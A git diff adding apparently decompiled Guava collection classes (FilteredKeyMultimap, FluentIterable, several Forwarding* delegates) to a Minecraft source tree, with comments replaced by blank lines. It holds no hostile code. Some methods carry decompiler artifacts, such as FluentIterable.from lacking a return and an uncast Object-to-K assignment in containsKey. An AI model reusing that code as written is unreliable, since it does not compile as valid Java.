+  FilteredKeyMultimap(Multimap<K, V> unfiltered, Predicate<? super K> keyPredicate)
+  {
+    this.unfiltered = ((Multimap)Preconditions.checkNotNull(unfiltered));
+    this.keyPredicate = ((Predicate)Preconditions.checkNotNull(keyPredicate));
+  }
+  
+  public Multimap<K, V> unfiltered()
+  {
+    return unfiltered;
+  }
+  
+  public Predicate<? super Map.Entry<K, V>> entryPredicate()
+  {
+    return Maps.keyPredicateOnEntries(keyPredicate);
+  }
+  
+  public int size()
+  {
+    int size = 0;
+    for (Collection<V> collection : asMap().values()) {
+      size += collection.size();
+    }
+    return size;
+  }
+  
+  public boolean containsKey(@Nullable Object key)
+  {
+    if (unfiltered.containsKey(key))
+    {
+      K k = key;
+      return keyPredicate.apply(k);
+    }
+    return false;
+  }
+  
+  public Collection<V> removeAll(Object key)
+  {
+    return containsKey(key) ? unfiltered.removeAll(key) : unmodifiableEmptyCollection();
+  }
+  
+  Collection<V> unmodifiableEmptyCollection() {
+    if ((unfiltered instanceof SetMultimap)) {
+      return ImmutableSet.of();
+    }
+    return ImmutableList.of();
+  }
+  
+
+  public void clear()
+  {
+    keySet().clear();
+  }
+  
+  Set<K> createKeySet()
+  {
+    return Sets.filter(unfiltered.keySet(), keyPredicate);
+  }
+  
+  public Collection<V> get(K key)
+  {
+    if (keyPredicate.apply(key))
+      return unfiltered.get(key);
+    if ((unfiltered instanceof SetMultimap)) {
+      return new AddRejectingSet(key);
+    }
+    return new AddRejectingList(key);
+  }
+  
+  static class AddRejectingSet<K, V> extends ForwardingSet<V>
+  {
+    final K key;
+    
+    AddRejectingSet(K key) {
+      this.key = key;
+    }
+    
+    public boolean add(V element)
+    {
+      throw new IllegalArgumentException("Key does not satisfy predicate: " + key);
+    }
+    
+    public boolean addAll(Collection<? extends V> collection)
+    {
+      Preconditions.checkNotNull(collection);
+      throw new IllegalArgumentException("Key does not satisfy predicate: " + key);
+    }
+    
+    protected Set<V> delegate()
+    {
+      return Collections.emptySet();
+    }
+  }
+  
+  static class AddRejectingList<K, V> extends ForwardingList<V> {
+    final K key;
+    
+    AddRejectingList(K key) {
+      this.key = key;
+    }
+    
+    public boolean add(V v)
+    {
+      add(0, v);
+      return true;
+    }
+    
+    public boolean addAll(Collection<? extends V> collection)
+    {
+      addAll(0, collection);
+      return true;
+    }
+    
+    public void add(int index, V element)
+    {
+      Preconditions.checkPositionIndex(index, 0);
+      throw new IllegalArgumentException("Key does not satisfy predicate: " + key);
+    }
+    
+    public boolean addAll(int index, Collection<? extends V> elements)
+    {
+      Preconditions.checkNotNull(elements);
+      Preconditions.checkPositionIndex(index, 0);
+      throw new IllegalArgumentException("Key does not satisfy predicate: " + key);
+    }
+    
+    protected List<V> delegate()
+    {
+      return Collections.emptyList();
+    }
+  }
+  
+  Iterator<Map.Entry<K, V>> entryIterator()
+  {
+    throw new AssertionError("should never be called");
+  }
+  
+  Collection<Map.Entry<K, V>> createEntries()
+  {
+    return new Entries();
+  }
+  
+  class Entries extends ForwardingCollection<Map.Entry<K, V>> {
+    Entries() {}
+    
+    protected Collection<Map.Entry<K, V>> delegate() { return Collections2.filter(unfiltered.entries(), entryPredicate()); }
+    
+
+
+    public boolean remove(@Nullable Object o)
+    {
+      if ((o instanceof Map.Entry)) {
+        Map.Entry<?, ?> entry = (Map.Entry)o;
+        if ((unfiltered.containsKey(entry.getKey())) && (keyPredicate.apply(entry.getKey())))
+        {
+
+          return unfiltered.remove(entry.getKey(), entry.getValue());
+        }
+      }
+      return false;
+    }
+  }
+  
+  Collection<V> createValues()
+  {
+    return new FilteredMultimapValues(this);
+  }
+  
+  Map<K, Collection<V>> createAsMap()
+  {
+    return Maps.filterKeys(unfiltered.asMap(), keyPredicate);
+  }
+  
+  Multiset<K> createKeys()
+  {
+    return Multisets.filter(unfiltered.keys(), keyPredicate);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/FilteredKeySetMultimap.java b/src/minecraft/com/google/common/collect/FilteredKeySetMultimap.java
new file mode 100644
index 0000000..f6db5a3
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/FilteredKeySetMultimap.java
@@ -0,0 +1,81 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Predicate;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class FilteredKeySetMultimap<K, V>
+  extends FilteredKeyMultimap<K, V>
+  implements FilteredSetMultimap<K, V>
+{
+  FilteredKeySetMultimap(SetMultimap<K, V> unfiltered, Predicate<? super K> keyPredicate)
+  {
+    super(unfiltered, keyPredicate);
+  }
+  
+  public SetMultimap<K, V> unfiltered()
+  {
+    return (SetMultimap)unfiltered;
+  }
+  
+  public Set<V> get(K key)
+  {
+    return (Set)super.get(key);
+  }
+  
+  public Set<V> removeAll(Object key)
+  {
+    return (Set)super.removeAll(key);
+  }
+  
+  public Set<V> replaceValues(K key, Iterable<? extends V> values)
+  {
+    return (Set)super.replaceValues(key, values);
+  }
+  
+  public Set<Map.Entry<K, V>> entries()
+  {
+    return (Set)super.entries();
+  }
+  
+
+
+  Set<Map.Entry<K, V>> createEntries() { return new EntrySet(); }
+  
+  class EntrySet extends FilteredKeyMultimap<K, V>.Entries implements Set<Map.Entry<K, V>> {
+    EntrySet() { super(); }
+    
+    public int hashCode() {
+      return Sets.hashCodeImpl(this);
+    }
+    
+    public boolean equals(@Nullable Object o)
+    {
+      return Sets.equalsImpl(this, o);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/FilteredMultimap.java b/src/minecraft/com/google/common/collect/FilteredMultimap.java
new file mode 100644
index 0000000..49d3f09
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/FilteredMultimap.java
@@ -0,0 +1,14 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Predicate;
+import java.util.Map.Entry;
+
+@GwtCompatible
+abstract interface FilteredMultimap<K, V>
+  extends Multimap<K, V>
+{
+  public abstract Multimap<K, V> unfiltered();
+  
+  public abstract Predicate<? super Map.Entry<K, V>> entryPredicate();
+}
diff --git a/src/minecraft/com/google/common/collect/FilteredMultimapValues.java b/src/minecraft/com/google/common/collect/FilteredMultimapValues.java
new file mode 100644
index 0000000..f89a614
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/FilteredMultimapValues.java
@@ -0,0 +1,94 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import java.util.AbstractCollection;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class FilteredMultimapValues<K, V>
+  extends AbstractCollection<V>
+{
+  private final FilteredMultimap<K, V> multimap;
+  
+  FilteredMultimapValues(FilteredMultimap<K, V> multimap)
+  {
+    this.multimap = ((FilteredMultimap)Preconditions.checkNotNull(multimap));
+  }
+  
+  public Iterator<V> iterator()
+  {
+    return Maps.valueIterator(multimap.entries().iterator());
+  }
+  
+  public boolean contains(@Nullable Object o)
+  {
+    return multimap.containsValue(o);
+  }
+  
+  public int size()
+  {
+    return multimap.size();
+  }
+  
+  public boolean remove(@Nullable Object o)
+  {
+    Predicate<? super Map.Entry<K, V>> entryPredicate = multimap.entryPredicate();
+    Iterator<Map.Entry<K, V>> unfilteredItr = multimap.unfiltered().entries().iterator();
+    while (unfilteredItr.hasNext()) {
+      Map.Entry<K, V> entry = (Map.Entry)unfilteredItr.next();
+      if ((entryPredicate.apply(entry)) && (Objects.equal(entry.getValue(), o))) {
+        unfilteredItr.remove();
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public boolean removeAll(Collection<?> c)
+  {
+    return Iterables.removeIf(multimap.unfiltered().entries(), Predicates.and(multimap.entryPredicate(), Maps.valuePredicateOnEntries(Predicates.in(c))));
+  }
+  
+
+
+
+  public boolean retainAll(Collection<?> c)
+  {
+    return Iterables.removeIf(multimap.unfiltered().entries(), Predicates.and(multimap.entryPredicate(), Maps.valuePredicateOnEntries(Predicates.not(Predicates.in(c)))));
+  }
+  
+
+
+
+  public void clear()
+  {
+    multimap.clear();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/FilteredSetMultimap.java b/src/minecraft/com/google/common/collect/FilteredSetMultimap.java
new file mode 100644
index 0000000..53cc28f
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/FilteredSetMultimap.java
@@ -0,0 +1,10 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+
+@GwtCompatible
+abstract interface FilteredSetMultimap<K, V>
+  extends FilteredMultimap<K, V>, SetMultimap<K, V>
+{
+  public abstract SetMultimap<K, V> unfiltered();
+}
diff --git a/src/minecraft/com/google/common/collect/FluentIterable.java b/src/minecraft/com/google/common/collect/FluentIterable.java
new file mode 100644
index 0000000..767d929
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/FluentIterable.java
@@ -0,0 +1,481 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Optional;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import java.util.SortedSet;
+import javax.annotation.CheckReturnValue;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public abstract class FluentIterable<E>
+  implements Iterable<E>
+{
+  private final Iterable<E> iterable;
+  
+  protected FluentIterable()
+  {
+    iterable = this;
+  }
+  
+  FluentIterable(Iterable<E> iterable) {
+    this.iterable = ((Iterable)Preconditions.checkNotNull(iterable));
+  }
+  
+
+
+
+  public static <E> FluentIterable<E> from(final Iterable<E> iterable)
+  {
+    (iterable instanceof FluentIterable) ? (FluentIterable)iterable : new FluentIterable(iterable)
+    {
+      public Iterator<E> iterator()
+      {
+        return iterable.iterator();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> FluentIterable<E> from(FluentIterable<E> iterable)
+  {
+    return (FluentIterable)Preconditions.checkNotNull(iterable);
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return Iterables.toString(iterable);
+  }
+  
+
+
+  public final int size()
+  {
+    return Iterables.size(iterable);
+  }
+  
+
+
+
+  public final boolean contains(@Nullable Object element)
+  {
+    return Iterables.contains(iterable, element);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public final FluentIterable<E> cycle()
+  {
+    return from(Iterables.cycle(iterable));
+  }
+  
+
+
+
+  @CheckReturnValue
+  public final FluentIterable<E> filter(Predicate<? super E> predicate)
+  {
+    return from(Iterables.filter(iterable, predicate));
+  }
+  
+
+
+
+
+  @CheckReturnValue
+  @GwtIncompatible("Class.isInstance")
+  public final <T> FluentIterable<T> filter(Class<T> type)
+  {
+    return from(Iterables.filter(iterable, type));
+  }
+  
+
+
+  public final boolean anyMatch(Predicate<? super E> predicate)
+  {
+    return Iterables.any(iterable, predicate);
+  }
+  
+
+
+
+  public final boolean allMatch(Predicate<? super E> predicate)
+  {
+    return Iterables.all(iterable, predicate);
+  }
+  
+
+
+
+
+
+
+  public final Optional<E> firstMatch(Predicate<? super E> predicate)
+  {
+    return Iterables.tryFind(iterable, predicate);
+  }
+  
+
+
+
+
+
+
+
+  public final <T> FluentIterable<T> transform(Function<? super E, T> function)
+  {
+    return from(Iterables.transform(iterable, function));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public <T> FluentIterable<T> transformAndConcat(Function<? super E, ? extends Iterable<? extends T>> function)
+  {
+    return from(Iterables.concat(transform(function)));
+  }
+  
+
+
+
+
+
+
+  public final Optional<E> first()
+  {
+    Iterator<E> iterator = iterable.iterator();
+    return iterator.hasNext() ? Optional.of(iterator.next()) : Optional.absent();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final Optional<E> last()
+  {
+    if ((iterable instanceof List)) {
+      List<E> list = (List)iterable;
+      if (list.isEmpty()) {
+        return Optional.absent();
+      }
+      return Optional.of(list.get(list.size() - 1));
+    }
+    Iterator<E> iterator = iterable.iterator();
+    if (!iterator.hasNext()) {
+      return Optional.absent();
+    }
+    
+
+
+
+
+
+    if ((iterable instanceof SortedSet)) {
+      SortedSet<E> sortedSet = (SortedSet)iterable;
+      return Optional.of(sortedSet.last());
+    }
+    for (;;)
+    {
+      E current = iterator.next();
+      if (!iterator.hasNext()) {
+        return Optional.of(current);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public final FluentIterable<E> skip(int numberToSkip)
+  {
+    return from(Iterables.skip(iterable, numberToSkip));
+  }
+  
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public final FluentIterable<E> limit(int size)
+  {
+    return from(Iterables.limit(iterable, size));
+  }
+  
+
+
+  public final boolean isEmpty()
+  {
+    return !iterable.iterator().hasNext();
+  }
+  
+
+
+
+
+
+  public final ImmutableList<E> toList()
+  {
+    return ImmutableList.copyOf(iterable);
+  }
+  
+
+
+
+
+
+
+
+
+  @Beta
+  public final ImmutableList<E> toSortedList(Comparator<? super E> comparator)
+  {
+    return Ordering.from(comparator).immutableSortedCopy(iterable);
+  }
+  
+
+
+
+
+
+  public final ImmutableSet<E> toSet()
+  {
+    return ImmutableSet.copyOf(iterable);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final ImmutableSortedSet<E> toSortedSet(Comparator<? super E> comparator)
+  {
+    return ImmutableSortedSet.copyOf(comparator, iterable);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final <V> ImmutableMap<E, V> toMap(Function<? super E, V> valueFunction)
+  {
+    return Maps.toMap(iterable, valueFunction);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final <K> ImmutableListMultimap<K, E> index(Function<? super E, K> keyFunction)
+  {
+    return Multimaps.index(iterable, keyFunction);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final <K> ImmutableMap<K, E> uniqueIndex(Function<? super E, K> keyFunction)
+  {
+    return Maps.uniqueIndex(iterable, keyFunction);
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("Array.newArray(Class, int)")
+  public final E[] toArray(Class<E> type)
+  {
+    return Iterables.toArray(iterable, type);
+  }
+  
+
+
+
+
+
+
+
+  public final <C extends Collection<? super E>> C copyInto(C collection)
+  {
+    Preconditions.checkNotNull(collection);
+    if ((iterable instanceof Collection)) {
+      collection.addAll(Collections2.cast(iterable));
+    } else {
+      for (E item : iterable) {
+        collection.add(item);
+      }
+    }
+    return collection;
+  }
+  
+
+
+
+
+
+
+
+  public final E get(int position)
+  {
+    return Iterables.get(iterable, position);
+  }
+  
+  private static class FromIterableFunction<E>
+    implements Function<Iterable<E>, FluentIterable<E>>
+  {
+    private FromIterableFunction() {}
+    
+    public FluentIterable<E> apply(Iterable<E> fromObject)
+    {
+      return FluentIterable.from(fromObject);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingBlockingDeque.java b/src/minecraft/com/google/common/collect/ForwardingBlockingDeque.java
new file mode 100644
index 0000000..20109e5
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingBlockingDeque.java
@@ -0,0 +1,123 @@
+package com.google.common.collect;
+
+import java.util.Collection;
+import java.util.concurrent.BlockingDeque;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForwardingBlockingDeque<E>
+  extends ForwardingDeque<E>
+  implements BlockingDeque<E>
+{
+  protected ForwardingBlockingDeque() {}
+  
+  protected abstract BlockingDeque<E> delegate();
+  
+  public int remainingCapacity()
+  {
+    return delegate().remainingCapacity();
+  }
+  
+  public void putFirst(E e) throws InterruptedException
+  {
+    delegate().putFirst(e);
+  }
+  
+  public void putLast(E e) throws InterruptedException
+  {
+    delegate().putLast(e);
+  }
+  
+  public boolean offerFirst(E e, long timeout, TimeUnit unit) throws InterruptedException
+  {
+    return delegate().offerFirst(e, timeout, unit);
+  }
+  
+  public boolean offerLast(E e, long timeout, TimeUnit unit) throws InterruptedException
+  {
+    return delegate().offerLast(e, timeout, unit);
+  }
+  
+  public E takeFirst() throws InterruptedException
+  {
+    return delegate().takeFirst();
+  }
+  
+  public E takeLast() throws InterruptedException
+  {
+    return delegate().takeLast();
+  }
+  
+  public E pollFirst(long timeout, TimeUnit unit) throws InterruptedException
+  {
+    return delegate().pollFirst(timeout, unit);
+  }
+  
+  public E pollLast(long timeout, TimeUnit unit) throws InterruptedException
+  {
+    return delegate().pollLast(timeout, unit);
+  }
+  
+  public void put(E e) throws InterruptedException
+  {
+    delegate().put(e);
+  }
+  
+  public boolean offer(E e, long timeout, TimeUnit unit) throws InterruptedException
+  {
+    return delegate().offer(e, timeout, unit);
+  }
+  
+  public E take() throws InterruptedException
+  {
+    return delegate().take();
+  }
+  
+  public E poll(long timeout, TimeUnit unit) throws InterruptedException
+  {
+    return delegate().poll(timeout, unit);
+  }
+  
+  public int drainTo(Collection<? super E> c)
+  {
+    return delegate().drainTo(c);
+  }
+  
+  public int drainTo(Collection<? super E> c, int maxElements)
+  {
+    return delegate().drainTo(c, maxElements);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingCollection.java b/src/minecraft/com/google/common/collect/ForwardingCollection.java
new file mode 100644
index 0000000..f155da1
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingCollection.java
@@ -0,0 +1,255 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import java.util.Collection;
+import java.util.Iterator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingCollection<E>
+  extends ForwardingObject
+  implements Collection<E>
+{
+  protected ForwardingCollection() {}
+  
+  protected abstract Collection<E> delegate();
+  
+  public Iterator<E> iterator()
+  {
+    return delegate().iterator();
+  }
+  
+  public int size()
+  {
+    return delegate().size();
+  }
+  
+  public boolean removeAll(Collection<?> collection)
+  {
+    return delegate().removeAll(collection);
+  }
+  
+  public boolean isEmpty()
+  {
+    return delegate().isEmpty();
+  }
+  
+  public boolean contains(Object object)
+  {
+    return delegate().contains(object);
+  }
+  
+  public boolean add(E element)
+  {
+    return delegate().add(element);
+  }
+  
+  public boolean remove(Object object)
+  {
+    return delegate().remove(object);
+  }
+  
+  public boolean containsAll(Collection<?> collection)
+  {
+    return delegate().containsAll(collection);
+  }
+  
+  public boolean addAll(Collection<? extends E> collection)
+  {
+    return delegate().addAll(collection);
+  }
+  
+  public boolean retainAll(Collection<?> collection)
+  {
+    return delegate().retainAll(collection);
+  }
+  
+  public void clear()
+  {
+    delegate().clear();
+  }
+  
+  public Object[] toArray()
+  {
+    return delegate().toArray();
+  }
+  
+  public <T> T[] toArray(T[] array)
+  {
+    return delegate().toArray(array);
+  }
+  
+
+
+
+
+
+
+  protected boolean standardContains(@Nullable Object object)
+  {
+    return Iterators.contains(iterator(), object);
+  }
+  
+
+
+
+
+
+
+  protected boolean standardContainsAll(Collection<?> collection)
+  {
+    return Collections2.containsAllImpl(this, collection);
+  }
+  
+
+
+
+
+
+
+  protected boolean standardAddAll(Collection<? extends E> collection)
+  {
+    return Iterators.addAll(this, collection.iterator());
+  }
+  
+
+
+
+
+
+
+
+  protected boolean standardRemove(@Nullable Object object)
+  {
+    Iterator<E> iterator = iterator();
+    while (iterator.hasNext()) {
+      if (Objects.equal(iterator.next(), object)) {
+        iterator.remove();
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  protected boolean standardRemoveAll(Collection<?> collection)
+  {
+    return Iterators.removeAll(iterator(), collection);
+  }
+  
+
+
+
+
+
+
+
+  protected boolean standardRetainAll(Collection<?> collection)
+  {
+    return Iterators.retainAll(iterator(), collection);
+  }
+  
+
+
+
+
+
+
+
+  protected void standardClear()
+  {
+    Iterators.clear(iterator());
+  }
+  
+
+
+
+
+
+
+
+  protected boolean standardIsEmpty()
+  {
+    return !iterator().hasNext();
+  }
+  
+
+
+
+
+
+
+  protected String standardToString()
+  {
+    return Collections2.toStringImpl(this);
+  }
+  
+
+
+
+
+
+
+  protected Object[] standardToArray()
+  {
+    Object[] newArray = new Object[size()];
+    return toArray(newArray);
+  }
+  
+
+
+
+
+
+
+  protected <T> T[] standardToArray(T[] array)
+  {
+    return ObjectArrays.toArrayImpl(this, array);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingConcurrentMap.java b/src/minecraft/com/google/common/collect/ForwardingConcurrentMap.java
new file mode 100644
index 0000000..172122f
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingConcurrentMap.java
@@ -0,0 +1,60 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.concurrent.ConcurrentMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingConcurrentMap<K, V>
+  extends ForwardingMap<K, V>
+  implements ConcurrentMap<K, V>
+{
+  protected ForwardingConcurrentMap() {}
+  
+  protected abstract ConcurrentMap<K, V> delegate();
+  
+  public V putIfAbsent(K key, V value)
+  {
+    return delegate().putIfAbsent(key, value);
+  }
+  
+  public boolean remove(Object key, Object value)
+  {
+    return delegate().remove(key, value);
+  }
+  
+  public V replace(K key, V value)
+  {
+    return delegate().replace(key, value);
+  }
+  
+  public boolean replace(K key, V oldValue, V newValue)
+  {
+    return delegate().replace(key, oldValue, newValue);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingDeque.java b/src/minecraft/com/google/common/collect/ForwardingDeque.java
new file mode 100644
index 0000000..1600de5
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingDeque.java
@@ -0,0 +1,129 @@
+package com.google.common.collect;
+
+import java.util.Deque;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForwardingDeque<E>
+  extends ForwardingQueue<E>
+  implements Deque<E>
+{
+  protected ForwardingDeque() {}
+  
+  protected abstract Deque<E> delegate();
+  
+  public void addFirst(E e)
+  {
+    delegate().addFirst(e);
+  }
+  
+  public void addLast(E e)
+  {
+    delegate().addLast(e);
+  }
+  
+  public Iterator<E> descendingIterator()
+  {
+    return delegate().descendingIterator();
+  }
+  
+  public E getFirst()
+  {
+    return delegate().getFirst();
+  }
+  
+  public E getLast()
+  {
+    return delegate().getLast();
+  }
+  
+  public boolean offerFirst(E e)
+  {
+    return delegate().offerFirst(e);
+  }
+  
+  public boolean offerLast(E e)
+  {
+    return delegate().offerLast(e);
+  }
+  
+  public E peekFirst()
+  {
+    return delegate().peekFirst();
+  }
+  
+  public E peekLast()
+  {
+    return delegate().peekLast();
+  }
+  
+  public E pollFirst()
+  {
+    return delegate().pollFirst();
+  }
+  
+  public E pollLast()
+  {
+    return delegate().pollLast();
+  }
+  
+  public E pop()
+  {
+    return delegate().pop();
+  }
+  
+  public void push(E e)
+  {
+    delegate().push(e);
+  }
+  
+  public E removeFirst()
+  {
+    return delegate().removeFirst();
+  }
+  
+  public E removeLast()
+  {
+    return delegate().removeLast();
+  }
+  
+  public boolean removeFirstOccurrence(Object o)
+  {
+    return delegate().removeFirstOccurrence(o);
+  }
+  
+  public boolean removeLastOccurrence(Object o)
+  {
+    return delegate().removeLastOccurrence(o);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingImmutableCollection.java b/src/minecraft/com/google/common/collect/ForwardingImmutableCollection.java
new file mode 100644
index 0000000..2bf4d8f
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingImmutableCollection.java
@@ -0,0 +1,9 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+
+@GwtCompatible(emulated=true)
+class ForwardingImmutableCollection
+{
+  private ForwardingImmutableCollection() {}
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingImmutableList.java b/src/minecraft/com/google/common/collect/ForwardingImmutableList.java
new file mode 100644
index 0000000..75ef913
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingImmutableList.java
@@ -0,0 +1,9 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+
+@GwtCompatible(emulated=true)
+abstract class ForwardingImmutableList<E>
+{
+  private ForwardingImmutableList() {}
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingImmutableMap.java b/src/minecraft/com/google/common/collect/ForwardingImmutableMap.java
new file mode 100644
index 0000000..8a8ed63
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingImmutableMap.java
@@ -0,0 +1,9 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+
+@GwtCompatible(emulated=true)
+abstract class ForwardingImmutableMap<K, V>
+{
+  private ForwardingImmutableMap() {}
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingImmutableSet.java b/src/minecraft/com/google/common/collect/ForwardingImmutableSet.java
new file mode 100644
index 0000000..f1e7c20
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingImmutableSet.java
@@ -0,0 +1,9 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+
+@GwtCompatible(emulated=true)
+abstract class ForwardingImmutableSet<E>
+{
+  private ForwardingImmutableSet() {}
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingIterator.java b/src/minecraft/com/google/common/collect/ForwardingIterator.java
new file mode 100644
index 0000000..77e6c05
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingIterator.java
@@ -0,0 +1,55 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingIterator<T>
+  extends ForwardingObject
+  implements Iterator<T>
+{
+  protected ForwardingIterator() {}
+  
+  protected abstract Iterator<T> delegate();
+  
+  public boolean hasNext()
+  {
+    return delegate().hasNext();
+  }
+  
+  public T next()
+  {
+    return delegate().next();
+  }
+  
+  public void remove()
+  {
+    delegate().remove();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingList.java b/src/minecraft/com/google/common/collect/ForwardingList.java
new file mode 100644
index 0000000..ef0c2ba
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingList.java
@@ -0,0 +1,239 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingList<E>
+  extends ForwardingCollection<E>
+  implements List<E>
+{
+  protected ForwardingList() {}
+  
+  protected abstract List<E> delegate();
+  
+  public void add(int index, E element)
+  {
+    delegate().add(index, element);
+  }
+  
+  public boolean addAll(int index, Collection<? extends E> elements)
+  {
+    return delegate().addAll(index, elements);
+  }
+  
+  public E get(int index)
+  {
+    return delegate().get(index);
+  }
+  
+  public int indexOf(Object element)
+  {
+    return delegate().indexOf(element);
+  }
+  
+  public int lastIndexOf(Object element)
+  {
+    return delegate().lastIndexOf(element);
+  }
+  
+  public ListIterator<E> listIterator()
+  {
+    return delegate().listIterator();
+  }
+  
+  public ListIterator<E> listIterator(int index)
+  {
+    return delegate().listIterator(index);
+  }
+  
+  public E remove(int index)
+  {
+    return delegate().remove(index);
+  }
+  
+  public E set(int index, E element)
+  {
+    return delegate().set(index, element);
+  }
+  
+  public List<E> subList(int fromIndex, int toIndex)
+  {
+    return delegate().subList(fromIndex, toIndex);
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    return (object == this) || (delegate().equals(object));
+  }
+  
+  public int hashCode() {
+    return delegate().hashCode();
+  }
+  
+
+
+
+
+
+
+
+  protected boolean standardAdd(E element)
+  {
+    add(size(), element);
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  protected boolean standardAddAll(int index, Iterable<? extends E> elements)
+  {
+    return Lists.addAllImpl(this, index, elements);
+  }
+  
+
+
+
+
+
+
+  protected int standardIndexOf(@Nullable Object element)
+  {
+    return Lists.indexOfImpl(this, element);
+  }
+  
+
+
+
+
+
+
+
+  protected int standardLastIndexOf(@Nullable Object element)
+  {
+    return Lists.lastIndexOfImpl(this, element);
+  }
+  
+
+
+
+
+
+
+  protected Iterator<E> standardIterator()
+  {
+    return listIterator();
+  }
+  
+
+
+
+
+
+
+
+  protected ListIterator<E> standardListIterator()
+  {
+    return listIterator(0);
+  }
+  
+
+
+
+
+
+
+
